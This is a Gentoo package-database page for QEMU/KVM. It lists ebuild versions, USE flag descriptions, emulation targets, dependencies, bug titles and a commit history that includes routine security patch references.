app-emulation / qemu

QEMU + Kernel-based Virtual Machine userland tools

Official package sites : http://www.linux-kvm.org · http://www.qemu.org ·

v9999 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
USE flags
accessibility aio alsa bzip2 caps capstone curl debug doc fdt filecaps glusterfs gnutls gtk infiniband iscsi jemalloc jpeg lzo ncurses nfs nls numa opengl oss pin-upstream-blobs png pulseaudio python rbd sasl sdl seccomp selinux smartcard snappy spice ssh static static-user systemtap tci test usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen xfs xkb

v4.1.0 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
~amd64 ~arm64 ~ppc ~ppc64 ~x86
USE flags
accessibility aio alsa bzip2 caps capstone curl debug doc fdt filecaps glusterfs gnutls gtk infiniband iscsi jemalloc jpeg lzo ncurses nfs nls numa opengl oss pin-upstream-blobs png pulseaudio python rbd sasl sdl seccomp selinux smartcard snappy spice ssh static static-user systemtap tci test usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen xfs xkb

v4.0.0-r50 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
amd64 x86 ~arm64 ~ppc ~ppc64
USE flags
accessibility aio alsa bzip2 caps capstone curl debug doc fdt filecaps glusterfs gnutls gtk infiniband iscsi jemalloc jpeg lzo ncurses nfs nls numa opengl pin-upstream-blobs png pulseaudio python rbd sasl sdl seccomp selinux smartcard snappy spice ssh static static-user systemtap tci test usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen xfs

General

accessibility
Adds support for braille displays using brltty
aio
Enables support for Linux's Async IO
alsa
Enable alsa output for sound emulation
bzip2
Use the bzlib compression library
caps
Use Linux capabilities library to control privilege
capstone
Enable disassembly support with dev-libs/capstone
curl
Support ISOs / -cdrom directives vis HTTP or HTTPS.
debug
Enable extra debug codepaths, like asserts and extra output. If you want to get meaningful backtraces see https://wiki.gentoo.org/wiki/Project:Quality_Assurance/Backtraces
doc
Add extra documentation (API, Javadoc, etc). It is recommended to enable per package instead of globally
fdt
Enables firmware device tree support
filecaps
Use Linux file capabilities to control privilege rather than set*id (this is orthogonal to USE=caps which uses capabilities at runtime e.g. libcap)
glusterfs
Enables GlusterFS cluster fileystem via sys-cluster/glusterfs
gnutls
Enable TLS support for the VNC console server. For 1.4 and newer this also enables WebSocket support. For 2.0 through 2.3 also enables disk quorum support.
gtk
Add support for x11-libs/gtk+ (The GIMP Toolkit)
infiniband
Enable Infiniband RDMA transport support
iscsi
Enable direct iSCSI support via net-libs/libiscsi instead of indirectly via the Linux block layer that sys-block/open-iscsi does.
jemalloc
Enable jemalloc allocator support
jpeg
Enable jpeg image support for the VNC console server
lzo
Enable support for lzo compression
ncurses
Enable the ncurses-based console
nfs
Enable NFS support
nls
Add Native Language Support (using gettext - GNU locale utilities)
numa
Enable NUMA support
opengl
Add support for OpenGL (3D graphics)
oss
Add support for OSS (Open Sound System)
pin-upstream-blobs
Pin the versions of BIOS firmware to the version included in the upstream release. This is needed to sanely support migration/suspend/resume/snapshotting/etc... of instances. When the blobs are different, random corruption/bugs/crashes/etc... may be observed.
png
Enable png image support for the VNC console server
pulseaudio
Enable pulseaudio output for sound emulation
python
Add optional support/bindings for the Python language
rbd
Enable rados block device backend support, see http://ceph.newdream.net/wiki/QEMU-RBD
sasl
Add support for the Simple Authentication and Security Layer
sdl
Enable the SDL-based console
seccomp
Enable seccomp (secure computing mode) to perform system call filtering at runtime to increase security of programs
selinux
!!internal use only!! Security Enhanced Linux support, this must be set by the selinux profile or breakage will occur
smartcard
Enable smartcard support
snappy
Enable support for Snappy compression (as implemented in app-arch/snappy)
spice
Enable Spice protocol support via app-emulation/spice
ssh
Enable SSH based block device support via net-libs/libssh2
static
Build the User and Software MMU (system) targets as well as tools as static binaries
static-user
Build the User targets as static binaries
systemtap
Enable SystemTAP/DTrace tracing
tci
Enable the TCG Interpreter which can speed up or slowdown workloads depending on the host and guest CPUs being emulated. In the future it will be a runtime option but for now its compile time.
test
Enable dependencies and/or preparations necessary to run tests (usually controlled by FEATURES=test but can be toggled independently)
usb
Enable USB passthrough via dev-libs/libusb
usbredir
Use sys-apps/usbredir to redirect USB devices to another machine over TCP
vde
Enable VDE-based networking
vhost-net
Enable accelerated networking using vhost-net, see http://www.linux-kvm.org/page/VhostNet
virgl
Enable experimental Virgil 3d (virtual software GPU)
virtfs
Enable VirtFS via virtio-9p-pci / fsdev. See http://wiki.qemu.org/Documentation/9psetup
vnc
Enable VNC (remote desktop viewer) support
vte
Enable terminal support (x11-libs/vte) in the GTK+ interface
xattr
Add support for getting and setting POSIX extended attributes, through sys-apps/attr. Requisite for the virtfs backend.
xen
Enables support for Xen backends
xfs
Support xfsctl() notification and syncing for XFS backed virtual disks.
xkb
Depend on x11-libs/libxkbcommon to build qemu-keymap tool for converting xkb keymaps

kernel

FreeBSD
KERNEL setting for system using the FreeBSD kernel
linux
KERNEL setting for system using the Linux kernel

python_targets

python2_7
Build with Python 2.7
python3_5
Build with Python 3.5
python3_6
Build with Python 3.6
python3_7
Build with Python 3.7

qemu_softmmu_targets

aarch64
ARM64 system emulation target
alpha
system emulation target
arm
system emulation target
cris
system emulation target
hppa
system emulation target
i386
system emulation target
lm32
LatticeMico32 system emulation target
m68k
system emulation target
microblaze
system emulation target
microblazeel
system emulation target
mips
system emulation target
mips64
system emulation target
mips64el
system emulation target
mipsel
system emulation target
moxie
moxielogic system emulation target
nios2
system emulation target
or1k
OpenRISC system emulation target
ppc
system emulation target
ppc64
system emulation target
riscv32
system emulation target
riscv64
system emulation target
s390x
system emulation target
sh4
system emulation target
sh4eb
system emulation target
sparc
system emulation target
sparc64
system emulation target
tricore
system emulation target
unicore32
system emulation target
x86_64
system emulation target
xtensa
system emulation target
xtensaeb
system emulation target

qemu_user_targets

aarch64
ARM64 userspace emulation target
aarch64_be
ARM64 big endian userspace emulation target
alpha
userspace emulation target
arm
ARM (little endian) userspace emulation target
armeb
ARM (big endian) userspace emulation target
cris
userspace emulation target
hppa
userspace emulation target
i386
userspace emulation target
m68k
userspace emulation target
microblaze
userspace emulation target
microblazeel
userspace emulation target
mips
userspace emulation target
mips64
userspace emulation target
mips64el
userspace emulation target
mipsel
userspace emulation target
mipsn32
MIPS N32 ABI userspace emulation target
mipsn32el
MIPS N32 ABI LE userspace emulation target
nios2
userspace emulation target
or1k
OpenRISC system emulation target
ppc
PowerPC 32-bit big endian userspace emulation target
ppc64
PowerPC 64-bit big endian userspace emulation target
ppc64abi32
userspace emulation target
ppc64le
PowerPC 64-bit little endian userspace emulation target
riscv32
userspace emulation target
riscv64
userspace emulation target
s390x
userspace emulation target
sh4
userspace emulation target
sh4eb
userspace emulation target
sparc
userspace emulation target
sparc32plus
userspace emulation target
sparc64
userspace emulation target
tilegx
TILE-Gx 64-bit userspace emulation target
x86_64
userspace emulation target
xtensa
userspace emulation target
xtensaeb
userspace emulation target

app-accessibility / brltty : Daemon that provides access to the Linux/Unix console for a blind person

app-arch / bzip2 : A high-quality data compressor used extensively by Gentoo Linux

app-arch / snappy : A high-speed compression/decompression library by Google

app-emulation / libcacard : virtual Common Access Card (CAC) library emulator

app-emulation / spice : SPICE server

app-emulation / spice-protocol : Headers defining the SPICE protocol

app-emulation / xen-tools : Xen tools including QEMU and xl

dev-lang / python : An interpreted, interactive, object-oriented programming language

dev-lang / python-exec : Python script wrapper

dev-libs / capstone : disassembly/disassembler framework + bindings

dev-libs / cyrus-sasl : The Cyrus SASL (Simple Authentication and Security Layer)

dev-libs / glib : The GLib library of C routines

dev-libs / jemalloc : Jemalloc is a general-purpose scalable concurrent allocator

dev-libs / libaio : Asynchronous input/output library that uses the kernels native interface

dev-libs / libxml2 : XML C parser and toolkit

dev-libs / lzo : An extremely fast compression and decompression library

dev-libs / nettle : Low-level cryptographic library

dev-util / systemtap : A linux trace/probe tool

media-libs / alsa-lib : Advanced Linux Sound Architecture Library

media-libs / libepoxy : Epoxy is a library for handling OpenGL function pointer management for you

media-libs / libpng : Portable Network Graphics library

media-libs / libsdl2 : Simple Direct Media Layer

media-libs / mesa : OpenGL-like graphic library for Linux

media-libs / virglrenderer : library used implement a virtual 3D GPU used by qemu

media-sound / pulseaudio : A networked sound server with an advanced plugin system

net-fs / libnfs : Client library for accessing NFS shares over a network

net-libs / gnutls : A TLS 1.2 and SSL 3.0 implementation for the GNU project

net-libs / libiscsi : iscsi client library and utilities

net-libs / libssh : Access a working SSH implementation by means of a library

net-libs / libssh2 : Library implementing the SSH2 protocol

net-misc / curl : A Client that groks URLs

net-misc / vde : Virtual distributed ethernet emulator for emulators like qemu, bochs, and uml

sys-apps / attr : Extended attributes tools

sys-apps / dtc : Open Firmware device tree compiler

sys-apps / usbredir : TCP daemon and set of libraries for usbredir protocol (redirecting USB traffic)

sys-cluster / ceph : Ceph distributed filesystem

sys-cluster / glusterfs : GlusterFS is a powerful network/cluster filesystem

sys-fabric / libibumad : OpenIB User MAD lib functions which sit on top of the user MAD kernel modules

sys-fabric / libibverbs : A library to use InfiniBand 'verbs' for direct access to IB hardware

sys-fabric / librdmacm : OpenIB userspace RDMA CM library

sys-firmware / edk2-ovmf : UEFI firmware for 64-bit x86 virtual machines

sys-firmware / ipxe : Open source network boot (PXE) firmware

sys-firmware / seabios : Open Source implementation of a 16-bit x86 BIOS

sys-firmware / sgabios : serial graphics adapter bios option rom for x86

sys-fs / xfsprogs : xfs filesystem utilities

sys-kernel / linux-headers : Linux system headers

sys-libs / libcap : POSIX 1003.1e capabilities

sys-libs / libcap-ng : POSIX 1003.1e capabilities

sys-libs / libseccomp : high level interface to Linux seccomp filter

sys-libs / ncurses : console display library

sys-libs / zlib : Standard (de)compression library

sys-process / numactl : Utilities and libraries for NUMA systems

virtual / jpeg : Virtual to select between libjpeg-turbo and IJG jpeg for source-based packages

virtual / libusb : Virtual for libusb

virtual / opengl : Virtual for OpenGL implementation

x11-libs / gtk+ : Gimp ToolKit +

x11-libs / libxkbcommon : keymap handling library for toolkits and window systems

x11-libs / pixman : Low-level pixel manipulation routines

x11-libs / vte : Library providing a virtual terminal emulator widget

acct-group / kvm : System group: kvm

app-accessibility / brltty : Daemon that provides access to the Linux/Unix console for a blind person

app-arch / bzip2 : A high-quality data compressor used extensively by Gentoo Linux

app-arch / snappy : A high-speed compression/decompression library by Google

app-emulation / libcacard : virtual Common Access Card (CAC) library emulator

app-emulation / spice : SPICE server

app-emulation / spice-protocol : Headers defining the SPICE protocol

app-emulation / xen-tools : Xen tools including QEMU and xl

dev-lang / python : An interpreted, interactive, object-oriented programming language

dev-lang / python-exec : Python script wrapper

dev-libs / capstone : disassembly/disassembler framework + bindings

dev-libs / cyrus-sasl : The Cyrus SASL (Simple Authentication and Security Layer)

dev-libs / glib : The GLib library of C routines

dev-libs / jemalloc : Jemalloc is a general-purpose scalable concurrent allocator

dev-libs / libaio : Asynchronous input/output library that uses the kernels native interface

dev-libs / libxml2 : XML C parser and toolkit

dev-libs / lzo : An extremely fast compression and decompression library

dev-libs / nettle : Low-level cryptographic library

dev-util / systemtap : A linux trace/probe tool

media-libs / alsa-lib : Advanced Linux Sound Architecture Library

media-libs / libepoxy : Epoxy is a library for handling OpenGL function pointer management for you

media-libs / libpng : Portable Network Graphics library

media-libs / libsdl2 : Simple Direct Media Layer

media-libs / mesa : OpenGL-like graphic library for Linux

media-libs / virglrenderer : library used implement a virtual 3D GPU used by qemu

media-sound / pulseaudio : A networked sound server with an advanced plugin system

net-fs / libnfs : Client library for accessing NFS shares over a network

net-libs / gnutls : A TLS 1.2 and SSL 3.0 implementation for the GNU project

net-libs / libiscsi : iscsi client library and utilities

net-libs / libssh : Access a working SSH implementation by means of a library

net-libs / libssh2 : Library implementing the SSH2 protocol

net-misc / curl : A Client that groks URLs

net-misc / vde : Virtual distributed ethernet emulator for emulators like qemu, bochs, and uml

sec-policy / selinux-qemu : SELinux policy for qemu

sys-apps / attr : Extended attributes tools

sys-apps / dtc : Open Firmware device tree compiler

sys-apps / usbredir : TCP daemon and set of libraries for usbredir protocol (redirecting USB traffic)

sys-cluster / ceph : Ceph distributed filesystem

sys-cluster / glusterfs : GlusterFS is a powerful network/cluster filesystem

sys-fabric / libibumad : OpenIB User MAD lib functions which sit on top of the user MAD kernel modules

sys-fabric / libibverbs : A library to use InfiniBand 'verbs' for direct access to IB hardware

sys-fabric / librdmacm : OpenIB userspace RDMA CM library

sys-firmware / edk2-ovmf : UEFI firmware for 64-bit x86 virtual machines

sys-firmware / ipxe : Open source network boot (PXE) firmware

sys-firmware / seabios : Open Source implementation of a 16-bit x86 BIOS

sys-firmware / sgabios : serial graphics adapter bios option rom for x86

sys-fs / xfsprogs : xfs filesystem utilities

sys-libs / libcap : POSIX 1003.1e capabilities

sys-libs / libcap-ng : POSIX 1003.1e capabilities

sys-libs / libseccomp : high level interface to Linux seccomp filter

sys-libs / ncurses : console display library

sys-libs / zlib : Standard (de)compression library

sys-process / numactl : Utilities and libraries for NUMA systems

virtual / jpeg : Virtual to select between libjpeg-turbo and IJG jpeg for source-based packages

virtual / libusb : Virtual for libusb

virtual / opengl : Virtual for OpenGL implementation

x11-libs / gtk+ : Gimp ToolKit +

x11-libs / libxkbcommon : keymap handling library for toolkits and window systems

x11-libs / pixman : Low-level pixel manipulation routines

x11-libs / vte : Library providing a virtual terminal emulator widget

app-emulation / aqemu : Graphical interface for QEMU and KVM emulators, using Qt5

app-emulation / diskimage-builder : Golden Disk Image builder.

app-emulation / ganeti : Ganeti is a virtual server management software tool

app-emulation / ganeti-instance-image : Scripts to build out CD or image based VMs using Ganeti

app-emulation / libguestfs : Tools for accessing, inspect and modifying virtual machine (VM) disk images

app-emulation / libvirt : C toolkit to manipulate virtual machines

app-emulation / nemu : ncurses interface for QEMU

app-emulation / qemu-init-scripts : Kvm and qemu init scripts

app-emulation / qemu-riscv64-bin : Statically linked x86-64 binary of app-emulation/qemu, riscv64 emulator

app-emulation / simplevirt : Simple virtual machine manager for Linux (QEMU/KVM)

app-emulation / spice : SPICE server

app-emulation / xen-tools : Xen tools including QEMU and xl

gnome-extra / gnome-boxes : Simple GNOME 3 application to access remote or virtual systems

net-misc / spice-gtk : Set of GObject and Gtk objects for connecting to Spice servers and a client GUI

sys-boot / grub : GNU GRUB boot loader

sys-cluster / cinder : Cinder is the OpenStack Block storage service, a spin out of nova-volumes

sys-cluster / nova : Cloud computing fabric controller (main part of an IaaS system) in Python

sys-firmware / edk2-ovmf : UEFI firmware for 64-bit x86 virtual machines

x11-misc / grub2-theme-preview : Preview a GRUB 2.x theme using KVM/QEMU

609632
app-emulation/xen-tools: bundles app-emulation/qemu
669880
app-emulation/qemu-3.0.0: efifb on Linux guest fails to load when using VGA passthrough
677292
app-emulation/qemu-3.1.0 with x11-libs/gtk+[-wayland] - Error starting domain: internal error: process exited while connecting to monitor: /usr/bin/qemu-system-x86_64: symbol lookup error: /usr/bin/qemu-system-x86_64: undefined symbol: gdk_wayland_display
686578
app-emulation/qemu Installation fails
686826
app-emulation/qemu-4.0.0-r3: ERROR - too few tests run (expected 34, got 12)
693858
=app-emulation/qemu-4.0.0-r50 automagically links against media-libs/sdl2-image
698878
app-emulation/qemu-4.1.0 - Unable to complete install: 'operation failed: unable to find any master var store for loader: /usr/share/qemu/edk2-x86_64-code.fd'
702036
app-emulation/qemu-4.1.1 version bump
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
app-emulation/qemu: Fix MissingTestRestrict
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
app-emulation: Remove *-fbsd KEYWORDS
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: Fix QA issues
Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: also update 4.1.0 ebuild
Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
James Le Cuirot · gentoo
app-emulation/qemu: Version bump to 4.1.0
Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Fix cross-compiling for MinGW (Windows)
Yes, this really works! By default, the configure script shoves everything in the same standalone directory for Windows, hence the need to specify more paths. It doesn't work from a standalone directory unless you build it statically anyway because it can't find the dependent DLLs in /usr/bin. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Add oss USE flag instead of always enabling
It requires no additional dependencies but some platforms like Windows cannot build the OSS driver and have the oss flag masked. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Add xkb USE flag now that xkbcommon option exists
Upstream merged my patch to add this option. Use of libxkbcommon was automagic before. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Update 9999 ppc64 seabios pin to 1.12.0
This was behind the 4.0.0 ebuild. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
James Le Cuirot · gentoo
app-emulation/qemu: Only clone a subset of git submodules
This saves cloning over 860MB of unnecessary repositories for dependencies that we build externally, including OpenSSL. Package-Manager: Portage-2.3.76, Repoman-2.3.17 Signed-off-by: James Le Cuirot <chewi@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable (#678906)
Package-Manager: Portage-2.3.72, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.72, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #678906
Package-Manager: Portage-2.3.69, Repoman-2.3.16 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #678906
Package-Manager: Portage-2.3.69, Repoman-2.3.16 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: pin new firmware versions
Package-Manager: Portage-2.3.71, Repoman-2.3.17 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Guilherme Amadio · gentoo
app-emulation/qemu: do not apply fcaps on prefix
Package-Manager: Portage-2.3.69, Repoman-2.3.16 Signed-off-by: Guilherme Amadio <amadio@gentoo.org> Acked-by: Matthias Maier <tamiko@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Follow upstream switch from libssh2 to libssh
In b10d49d7619e4 the upstream switched from libssh2 to libssh. Update our live ebuild to follow this change. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Don't apply qemu-4.0.0-fix_infiniband_include.patch
This patch was merged upstream as 501cf8facd49d9. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: depend on acct-group/kvm
Package-Manager: Portage-2.3.69_p3, Repoman-2.3.16_p12 Signed-off-by: Mike Gilbert <floppym@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: maintenacne patches, revbump
* patch for linux-headers-5.2 * apply upstream patch for pc-q35 regression with windows guests Closes: https://bugs.gentoo.org/690418 Closes: https://bugs.gentoo.org/690280 Package-Manager: Portage-2.3.69, Repoman-2.3.16 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Han Han · gentoo
app-emulation/qemu: Add use flag jemalloc
Add flag jemalloc to enable or disable jemalloc memory jemalloc support for qemu. Signed-off-by: Han Han <hanhanzhiyeqianke@gmail.com> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: tweak python dependency when USE=-python
When USE=python is disabled, we still need a python interpreter at build time with no extra USE dependencies. Closes: https://github.com/gentoo/gentoo/pull/12408/ Package-Manager: Portage-2.3.68, Repoman-2.3.16_p2 Signed-off-by: Mike Gilbert <floppym@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
Revert "app-emulation/qemu: conditionally depend on python"
This reverts commit d7d649de1938fc5430174b23631ca7784f875fbc. in reference to: https://github.com/gentoo/gentoo/pull/12408 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.68, Repoman-2.3.16 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Philipp Ammann · gentoo
app-emulation/qemu: conditionally depend on python
Only depend on python when USE="python" is set. Closes: https://github.com/gentoo/gentoo/pull/12408 Package-Manager: Portage-2.3.68, Repoman-2.3.16 Signed-off-by: Philipp Ammann <philipp.ammann@posteo.de> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable
Bug: https://bugs.gentoo.org/686026 Package-Manager: Portage-2.3.68, Repoman-2.3.16 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #686026)
Package-Manager: Portage-2.3.67, Repoman-2.3.13 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: Remove USE="+doc"
Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: fix infiniband include
Closes: https://bugs.gentoo.org/686412 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #686026
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.62, Repoman-2.3.11 RepoMan-Options: --include-arches="amd64"
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: ensure directory is created
Closes: https://bugs.gentoo.org/684902 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: introduce USE=doc
Closes: https://bugs.gentoo.org/684792 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: apply full mds patches
Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: remove dysfunctional
Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: mds fixes for 4.0.0
CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, CVE-2019-11091, ZombieLoad Bug: https://bugs.gentoo.org/686026 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: mds fixes for 3.1.0
CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, CVE-2019-11091, ZombieLoad Bug: https://bugs.gentoo.org/686026 Package-Manager: Portage-2.3.66, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: do not strip QA_PREBUILT
Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: add missing dependency
Closes: https://bugs.gentoo.org/684704 Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update icon cache
Closes: https://bugs.gentoo.org/684726 Package-Manager: Portage-2.3.65, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: version bump to 4.0.0
- Version bump to 4.0.0 (bug #684274) - Apply mips fpu mode fix (bug #683640) - Bug #683458: Reenable stripping. Remove old CFLAGS workaround. Let's see how far this takes us. Bug: https://bugs.gentoo.org/683458 Closes: https://bugs.gentoo.org/683640 Closes: https://bugs.gentoo.org/684274 Closes: https://github.com/gentoo/gentoo/pull/11719 Package-Manager: Portage-2.3.64, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.64, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: remove obsolete
Package-Manager: Portage-2.3.64, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #681850)
Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michał Górny · gentoo
*/*: Remove python3_4 PYTHON_COMPAT correctly
Signed-off-by: Michał Górny <mgorny@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: amd64 stable wrt bug #681850
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org> Package-Manager: Portage-2.3.62, Repoman-2.3.11 RepoMan-Options: --include-arches="amd64"
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: multiple security fixes for 3.1.0
CVE-2018-20815 CVE-2019-9824 Bug: https://bugs.gentoo.org/681850 Bug: https://bugs.gentoo.org/680834 Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: Fix check in pkg_postinst
Thanks to Garry Filakhtov for triaging and fixing this issue. Closes: https://bugs.gentoo.org/681346 Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop obsolete
Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: synchronize live ebuild
Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix init.d/qemu-binfmt for mksh, bug #679168
Handling of escaped by echo is an implementation-defined behaviour according to POSIX: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html "A string to be written to standard output. If the first operand is -n, or if any of the operands contain a <backslash> character, the results are implementation-defined." Practically this makes $ echo '\xFF' behave differently on bash/dash and mksh: bash outputs '\xFF' string of 4 bytes while mksh outputs single 0xFF into stdout. The change is to use "printf '%s\n' '\xFF'" to get consistent behaviour. Reported-by: Jimmy.Jazz@gmx.net Reviewed-by: Matthias Maier Closes: https://bugs.gentoo.org/679168 Package-Manager: Portage-2.3.62, Repoman-2.3.12 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu-9999: Follow qmp.py rename
